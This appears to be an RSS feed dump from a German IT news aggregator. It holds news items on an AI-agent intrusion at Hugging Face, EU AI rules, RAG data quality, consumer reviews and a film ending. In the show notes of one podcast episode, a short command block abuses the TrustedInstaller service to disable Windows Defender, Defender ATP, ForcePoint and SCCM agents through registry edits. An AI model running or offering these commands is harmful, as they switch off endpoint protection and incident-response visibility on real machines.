short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[EU's AI labeling rules take effect next month]]></title>
<description><![CDATA[Chatbots and agents will have to come clean about who – or what – users are talking to]]></description>
<link>https://tsecurity.de/de/3681260/it-nachrichten/eus-ai-labeling-rules-take-effect-next-month/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681260/it-nachrichten/eus-ai-labeling-rules-take-effect-next-month/</guid>
<pubDate>Mon, 20 Jul 2026 15:33:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chatbots and agents will have to come clean about who – or what – users are talking to]]></content:encoded>
</item>
<item>
<title><![CDATA[We Don’t Have a Clean Indoor Air Act. Are Air Purifiers the Answer?]]></title>
<description><![CDATA[The Clean Air Act only covers outdoor air, but some pollutants lurk indoors. I consulted experts to determine whether air purifiers are enough to protect our airways.]]></description>
<link>https://tsecurity.de/de/3680888/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680888/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Clean Air Act only covers outdoor air, but some pollutants lurk indoors. I consulted experts to determine whether air purifiers are enough to protect our airways.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.


 Show Notes


 Episode Overview




Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sen...]]></description>
<link>https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</guid>
<pubDate>Mon, 20 Jul 2026 02:06:59 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>
 Show Notes</h1>

<h3>
 Episode Overview</h3>

<ul>

<li>
Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.</li>

</ul>

<h3>
 Key Topics &amp; Breakdown</h3>

<ul>

<li>

<ul>

<li>

<strong>
Egg Drop Soup Hack:</strong>
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.</li>

<li>

<strong>
Camera Setup &amp; Network Config:</strong>
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.</li>

<li>

<strong>
Python &amp; Cron Automation:</strong>
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with <code>
grep -v</code>
, and navigating massive log files in <code>
vi</code>
.</li>

<li>

<strong>
Windows Troubleshooting Tangent:</strong>
 Deleting the stubborn <code>
Windows.old</code>
 folder using the TrustedInstaller service hack (<code>
ExecTI.exe</code>
) instead of taking ownership manually.</li>

<li>

<strong>
Time Sync &amp; Firmware Quirks:</strong>
 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming <code>
.bin</code>
 to <code>
.zip</code>
, and extracting with 7-Zip.</li>

<li>

<strong>
Pre-Flash Backup Routine:</strong>
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.</li>

</ul>

</li>

</ul>

<h3>
️ Tools &amp; Techniques Mentioned</h3>

<ul>

<li>

<ul>

<li>

<code>
crontab</code>
 + Python scripts for automated monitoring</li>

<li>

<code>
grep -v</code>
, <code>
cat</code>
, <code>
tail</code>
, and <code>
vi</code>
 (line navigation with <code>
:1000</code>
)</li>

<li>
Obsidian for note-taking &amp; AI assistant integration</li>

<li>
Firefox/Playwright for headless browser testing</li>

<li>
Turbo Download Manager &amp; Bolt Media Downloader for multi-threaded/sniffing downloads</li>

<li>
7-Zip for archive extraction</li>

<li>
Google Drive for searchable config backups</li>

</ul>

</li>

</ul>

<h3>
 Resources &amp; Links</h3>

<ul>

<li>

<ul>

<li>

<strong>
Python API Script:</strong>
 <a href="https://github.com/freeload101/Python/blob/master/Uniview_API_IPC3628SR-ADF28KM-WP_get_Last.py" rel="noopener noreferrer" target="_blank">
Uniview IPC3628SR Recording Checker</a>

</li>

<li>

<strong>
Camera Model:</strong>
 <code>
IPC3628SR</code>
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)</li>

<li>

<strong>
TrustedInstaller Run-as Tool:</strong>
 <a href="https://rmccurdy.com/.scripts/downloaded/ExecTI_TrustedInstaller_Runas.zip" rel="noopener noreferrer" target="_blank">
ExecTI TrustedInstaller Runner</a>

</li>

</ul>

</li>

</ul>

<h3>
 Quick Takeaways</h3>

<ol>

<li>

<ol>

<li>
 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.</li>

<li>
 Use <code>
grep -v "noise"</code>
 to quickly filter out repetitive log entries when debugging automation scripts.</li>

<li>
 Windows system folders can be stubborn; running commands as <code>
TrustedInstaller</code>
 bypasses hidden file locks without manual ownership changes.</li>

<li>
 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.</li>

<li>
 Third-party download links often use temporary tokens or <code>
.bin</code>
 wrappers; renaming to <code>
.zip</code>
 and verifying with 7-Zip can save headaches.</li>

</ol>

</li>

</ol>

<ul>

<li>

<em>
Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.</em>
  </li>

</ul>

<p>

</p>

<p>

</p>

<p>
Example trusted installer hack</p>

<p>

</p>

<p>

</p>

<p>
# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...</p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4686/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix’s Desire Ending Explained: Who Killed Matías and What Happens to Lucero?]]></title>
<description><![CDATA[Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.



Major spoilers for Desire follow.



Desire Release Date, Cas...]]></description>
<link>https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/</guid>
<pubDate>Mon, 20 Jul 2026 00:24:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.



Major spoilers for Desire follow.



Desire Release Date, Cast and Other Details




Netflix release date: July 17, 2026



Original title: Deseo



Genre: Erotic thriller, psychological drama



Runtime: Around 98 minutes



Director: Teresa Simone



Language: Spanish



Main cast: Ludwika Paleta, Óscar Casas, José María Yazpik and Pilar Pascual




The Mexican-Spanish movie follows Lucero, a successful 47-year-old lawyer who appears to have a comfortable life with her husband, Fernando, and their two children. However, she feels increasingly dissatisfied with her marriage and begins an affair with Matías, the young swimming coach hired by Fernando.



The situation becomes more dangerous when Lucero’s daughter, Viviana, also develops feelings for Matías. What begins as an affair soon becomes a tense triangle involving secrecy, manipulation and jealousy.



Where Is the Story Heading Before the Final Scene?



The movie opens with blood near the family’s indoor swimming pool, immediately confirming that someone has died. It then moves back through the events that caused the tragedy.



Lucero’s relationship with Matías grows more intense, even as she understands that the affair could destroy her marriage, career and relationship with her children. Matías also becomes involved with Viviana, creating further tension inside the family.



As the truth begins to surface, each character reacts differently. Viviana feels betrayed by both Matías and her mother, while Fernando begins to understand what has been happening inside his home. Lucero, meanwhile, focuses on protecting her family and preventing the affair from becoming public.



Since Desire is a standalone movie, there are no previous seasons to revisit. The entire story builds toward the night at the pool and the mystery surrounding Matías’ death.



Desire Ending Explained: Who Killed Matías?



The ending reveals that Matías’ death was caused by several actions rather than one sudden attack.



Julian secretly drugs Matías earlier in the evening. The drug leaves him physically weakened and less capable of defending himself when the conflict reaches the swimming pool.



Viviana then confronts Matías after discovering the truth about his relationship with Lucero. Feeling humiliated and used, she attacks him and leaves him injured.



Fernando later finds Matías bleeding and struggling in the pool. Instead of rescuing him, Fernando chooses to leave him there. His decision makes him directly responsible for allowing the situation to become fatal.



Lucero arrives for the final confrontation and sees that Matías is still alive. Matías appears to believe that she has come to help him or choose him over her family. However, Lucero pushes him beneath the water and holds him there until he drowns.



Lucero therefore delivers the final killing act, although every member of the family contributes to the chain of events that leads to his death.



Why Does Lucero Kill Matías?



Lucero kills Matías because she sees him as a threat to everything she wants to protect. Their affair once offered excitement and escape, but it eventually endangered her children, marriage and public life.



By the final scene, Lucero no longer views Matías as a romantic partner. She sees him as the person capable of exposing the family’s secrets and destroying their remaining sense of stability.



Her decision also completes her transformation. She begins the movie searching for freedom from her controlled life, yet she ends it committing murder to regain control.



Does Lucero’s Family Escape?



The movie does not show the family facing immediate legal consequences. Since several people contributed to Matías’ death, they share a reason to hide what happened.



The final revelation suggests that their family can remain together only by protecting the same secret. Any one of them could expose the others, creating an uneasy balance based on guilt rather than trust.



The opening bloodstains also take on a clearer meaning. They represent the evidence the family must remove, but they also reflect damage that cannot be completely erased.



What Does the Ending of Desire Mean?



The ending shows how unchecked desire damages every relationship around Lucero. Her affair affects her husband, draws her daughter into a painful rivalry and eventually turns the entire family into participants in Matías’ death.



Lucero technically protects her family from Matías, but their earlier life cannot return. Fernando knows about her betrayal, Viviana knows that her mother was involved with the same man, and everyone understands what happened beside the pool.



Desire ends without offering a clean resolution because the family’s punishment comes from living with the truth. What did you think about Lucero’s final decision, and who carries the most blame for Matías’ death? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]></title>
<description><![CDATA[The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.When a project fails, the immediate instinct of te...]]></description>
<link>https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.</p><p>When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.</p><p>But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.</p><p>This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.</p><h2><b>The mirage of the retrieval layer</b></h2><p>In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.</p><p>It is not.</p><p>When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.</p><p>If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.</p><p>No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.</p><h2><b>Shifting from ad-hoc patching to programmatic guardrails</b></h2><p>To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.</p><p>This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.</p><h3><b>1. Harden the ingestion pipeline</b></h3><p>Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.</p><p>Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.</p><h3><b>2. Use multi-tiered algorithmic validation</b></h3><p>Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.</p><p>This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.</p><p>If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.</p><h3><b>3. Decouple security and compliancemfrom the model</b></h3><p>An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.</p><p>Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.</p><h2><b>Technical alignment: A pragmatic blueprint</b></h2><p>For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.</p><ul><li><p>Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?</p></li><li><p>Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?</p></li><li><p>Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?</p></li></ul><p>These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.</p><h2><b>Building for the production era</b></h2><p>The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.</p><p>If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.</p><p>The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.</p><p>In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.</p><p><i>Naveen Ayalla is a senior data engineer. </i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11 trades noisy Bing ads for the clean Search experience it always needed]]></title>
<description><![CDATA[It took years of relentless user pushback, but Microsoft is finally rescuing Windows Search from ads and clutter.]]></description>
<link>https://tsecurity.de/de/3679503/windows-tipps/windows-11-trades-noisy-bing-ads-for-the-clean-search-experience-it-always-needed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679503/windows-tipps/windows-11-trades-noisy-bing-ads-for-the-clean-search-experience-it-always-needed/</guid>
<pubDate>Sun, 19 Jul 2026 15:10:38 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It took years of relentless user pushback, but Microsoft is finally rescuing Windows Search from ads and clutter.]]></content:encoded>
</item>
<item>
<title><![CDATA[Corded vacuums are supposed to be outdated – so why is the Shark Detect Lift-Away XL so good?]]></title>
<description><![CDATA[Surprisingly easy to manoeuvre and skilled at cleaning carpet and hard floor, Shark’s upright bagless model is one of the best corded vacuums I’ve tested• The best vacuum cleanersCorded vacuum cleaners aren’t as glamorous as their cordless cousins, but swapping battery power for a plug socket has...]]></description>
<link>https://tsecurity.de/de/3679448/it-nachrichten/corded-vacuums-are-supposed-to-be-outdated-so-why-is-the-shark-detect-lift-away-xl-so-good/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679448/it-nachrichten/corded-vacuums-are-supposed-to-be-outdated-so-why-is-the-shark-detect-lift-away-xl-so-good/</guid>
<pubDate>Sun, 19 Jul 2026 14:17:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Surprisingly easy to manoeuvre and skilled at cleaning carpet and hard floor, Shark’s upright bagless model is one of the best corded vacuums I’ve tested</p><p>• <a href="https://www.theguardian.com/thefilter/2026/feb/13/best-vacuum-cleaners-uk-tested"><strong>The best vacuum cleaners</strong></a></p><p>Corded <a href="https://www.theguardian.com/thefilter/2026/feb/13/best-vacuum-cleaners-uk-tested">vacuum cleaners</a> aren’t as glamorous as their cordless cousins, but swapping battery power for a plug socket has its advantages. The device will never be short of power, so it can keep cleaning for as long as you need it to. Prices also tend to be lower because there’s no expensive battery to factor into the cost.</p><p>On the downside, there’s a cable to manage while you clean, and even the longest cords usually need to be switched from one plug socket to another if your home is any larger than a small flat.</p> <a href="https://www.theguardian.com/thefilter/2026/jul/19/shark-detect-xl-lift-away-car-pet-expert-review-tested-uk">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[We Don’t Have a Clean Indoor Air Act. Are Air Purifiers the Answer?]]></title>
<description><![CDATA[The Clean Air Act only covers outdoor air, but some pollutants lurk indoors. I consulted experts to determine whether air purifiers are enough to protect our airways.]]></description>
<link>https://tsecurity.de/de/3679339/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679339/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/</guid>
<pubDate>Sun, 19 Jul 2026 12:47:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Clean Air Act only covers outdoor air, but some pollutants lurk indoors. I consulted experts to determine whether air purifiers are enough to protect our airways.]]></content:encoded>
</item>
<item>
<title><![CDATA[[OC] Whisp 1.3.8 released — Added "Slate Mode" for absolute minimalism and official NixOS support.]]></title>
<description><![CDATA[Hello everyone! A while back, I shared Whisp—my gesture-driven, anti-folder note-taking app for GNOME. The feedback from this community has been incredible, and Whisp has now crossed over 6,000 downloads! Today, I’m super excited to release Whisp v1.3.8, focusing heavily on minimalism and declara...]]></description>
<link>https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/</guid>
<pubDate>Sun, 19 Jul 2026 11:54:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello everyone! A while back, I shared Whisp—my gesture-driven, anti-folder note-taking app for GNOME. The feedback from this community has been incredible, and Whisp has now crossed over 6,000 downloads!</p> <p>Today, I’m super excited to release Whisp v1.3.8, focusing heavily on minimalism and declarative setups.</p> <p>What's New in v1.3.8:</p> <p><strong>Slate Mode:</strong> You can now press Alt + S (or set it as your default startup behavior) to instantly hide all top bars and UI elements. It turns Whisp into a perfectly clean, floating piece of text on your desktop for ultimate distraction-free writing.</p> <p><strong>Official NixOS Support</strong>: Thanks to an awesome community contributor, Whisp now includes an official Nix Flake and a Home Manager module! You can natively install and configure your Whisp preferences declaratively via programs.whisp.</p> <p><strong>Smarter Line Sorting:</strong> Using our ::sort_lines_alpha text expansion will now dynamically split your notes into sections. Markdown headings (# Ideas) are strictly anchored in place, and only the text beneath them is sorted.</p> <p>Read the Latest changelogs <a href="https://github.com/tanaybhomia/Whisp/releases">here</a></p> <p>(A quick personal note: Whisp is completely open-source and I develop it solo between my university classes. If Whisp helps your daily workflow, consider [donating](<a href="https://tanaybhomia.github.io/Whisp/donate.html)!">https://tanaybhomia.github.io/Whisp/donate.html)!</a>) or dropping a star on github </p> <p><em>Links</em></p> <p><strong>Donate</strong>: <a href="https://tanaybhomia.github.io/Whisp/donate.html">https://tanaybhomia.github.io/Whisp/donate.html</a></p> <p><strong>Download on Flathub:</strong> <a href="https://flathub.org/apps/io.github.tanaybhomia.Whisp">https://flathub.org/apps/io.github.tanaybhomia.Whisp</a></p> <p><strong>GitHub / Source Code</strong>: <a href="https://github.com/tanaybhomia/Whisp">https://github.com/tanaybhomia/Whisp</a></p> <p><strong>Project Website &amp; Docs</strong>: <a href="https://tanaybhomia.github.io/Whisp">https://tanaybhomia.github.io/Whisp</a></p> <p><strong>Manual</strong>: [tanaybhomia.github.io/Whisp/manual](<a href="https://tanaybhomia.github.io/Whisp/manual.html">https://tanaybhomia.github.io/Whisp/manual.html</a>)</p> <p><strong>My Portfolio:</strong> <a href="https://tanaybhomia.github.io/">https://tanaybhomia.github.io/</a></p> <p>Let me know what you guys think of the new Slate Mode!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Baajjii"> /u/Baajjii </a> <br> <span><a href="https://i.redd.it/mw61jvs1t4eh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v0j2t7/oc_whisp_138_released_added_slate_mode_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Powerpoint entrümpeln: So fesseln Sie Ihr Publikum]]></title>
<description><![CDATA[Typo



Seit einiger Zeit waren große Bilder in Powerpoint Gang und Gäbe. Doch Trends ändern sich. Jetzt wird verstärkt mit Worten gearbeitet. Text darf und soll alleine stehen, ohne Ablenkung durch Bilder, auffällige Hintergründe, Rahmen oder Linien. Mit der Typografie spielen darf man dagegen s...]]></description>
<link>https://tsecurity.de/de/3678839/it-security-nachrichten/powerpoint-entruempeln-so-fesseln-sie-ihr-publikum/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678839/it-security-nachrichten/powerpoint-entruempeln-so-fesseln-sie-ihr-publikum/</guid>
<pubDate>Sun, 19 Jul 2026 06:07:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">Typo</h2>



<p class="wp-block-paragraph">Seit einiger Zeit waren große Bilder in Powerpoint Gang und Gäbe. Doch Trends ändern sich. Jetzt wird verstärkt mit Worten gearbeitet. Text darf und soll alleine stehen, ohne Ablenkung durch Bilder, auffällige Hintergründe, Rahmen oder Linien. Mit der Typografie spielen darf man dagegen schon. Besondere Schriftarten abseits von Times New Roman und Arial, Hervorhebungen durch Farbe oder unterschiedliche Schriftgrößen stellen das Wichtigste in den Mittelpunkt: den Inhalt.</p>



<h2 class="wp-block-heading">Echte Bilder</h2>



<p class="wp-block-paragraph">Wem gefällt schon die immer gleiche, unrealistische Scheinwelt der Stockfotos? Bisher lächelten händeschüttelnde Chefs, Mitarbeiterinnen in frisch gebügelten Blusen oder Einkaufstüten schwingende Kunden von den Slides. Wenn schon Bilder zum Einsatz kommen, dann individuelle, vielleicht sogar selbst fotografierte Bilder. Es muss nicht alles perfekt aussehen, sondern authentisch und sympathisch wirken. Dies gelingt beispielsweise, wenn Sie “echte” Mitarbeiter in ihrem Arbeitsumfeld fotografieren. So können sich Ihre Zuschauer viel besser mit den Inhalten identifizieren und lernen Ihr Unternehmen auf ganz neue Art und Weise kennen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-15.07.13.png?w=1024" alt="Präsentation" class="wp-image-4197860" width="1024" height="573" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Was kommt wie bei meinem Publikum an? Denken Sie bei Ihrer Präsentation immer an Ihre Zuhörer.</figcaption></figure><p class="imageCredit">Zita – shutterstock.com</p></div>



<h2 class="wp-block-heading">Clean</h2>



<p class="wp-block-paragraph">Aufgeräumt, individuell, clean, wenig Inhalt, selbst gemacht – dies gilt nicht nur für Fotos, sondern auch für Icons, Illustrationen und andere eingebundene Medien. Verabschieden Sie sich von unnötigen Linien, Kästen und Logos, sie lenken nur vom Wesentlichen ab. Auch inhaltlich sollte der Verlauf Ihrer Präsentation einen roten Faden haben, den Sie beim Vortrag ohne Umwege verfolgen.</p>



<h2 class="wp-block-heading">Stilmix</h2>



<p class="wp-block-paragraph">Ein bewusstes Mixen von Stilarten ist nicht nur erlaubt, sondern ab sofort ein Muss. Aber Achtung, es sollte trotzdem alles zusammenpassen. Dafür braucht es wie in der Mode ein gewisses Stilgefühl: Man kann beispielsweise selbstgezeichnete bunte Figuren mit einer geometrischen Anordnung von Textkästen und einer schlichten Schrift ohne Serifen mixen, braucht dann aber eine gemeinsame Linie wie beispielsweise die gleiche Grundfarbe.</p>



<h2 class="wp-block-heading">Dynamik</h2>



<p class="wp-block-paragraph">Der neueste Schrei in Powerpoint: Cinemagramme, also leicht bewegte Bilder und Animationen auf statischem Hintergrund. Man kann sie mit den Animationsmöglichkeiten in Powerpoint herstellen und Abläufe verdeutlichen, indem sich komplexere Diagramme, grafische Darstellungen von Vorgängen oder Organigramme Schritt für Schritt aufbauen lassen. Damit lässt sich Aufmerksamkeit erzeugen, ohne dass es übertrieben wirkt oder ablenkt.</p>



<h2 class="wp-block-heading">Live dabei</h2>



<p class="wp-block-paragraph">Augmented Reality wird bei komplexen Produkten eine wichtige Rolle übernehmen. Bauteile, Autos, Medizintechnik oder auch Architektur-Entwürfe kann man sich zur besseren Vorstellung in 3D anschauen.</p>



<h2 class="wp-block-heading">Zu viel, zu voll</h2>


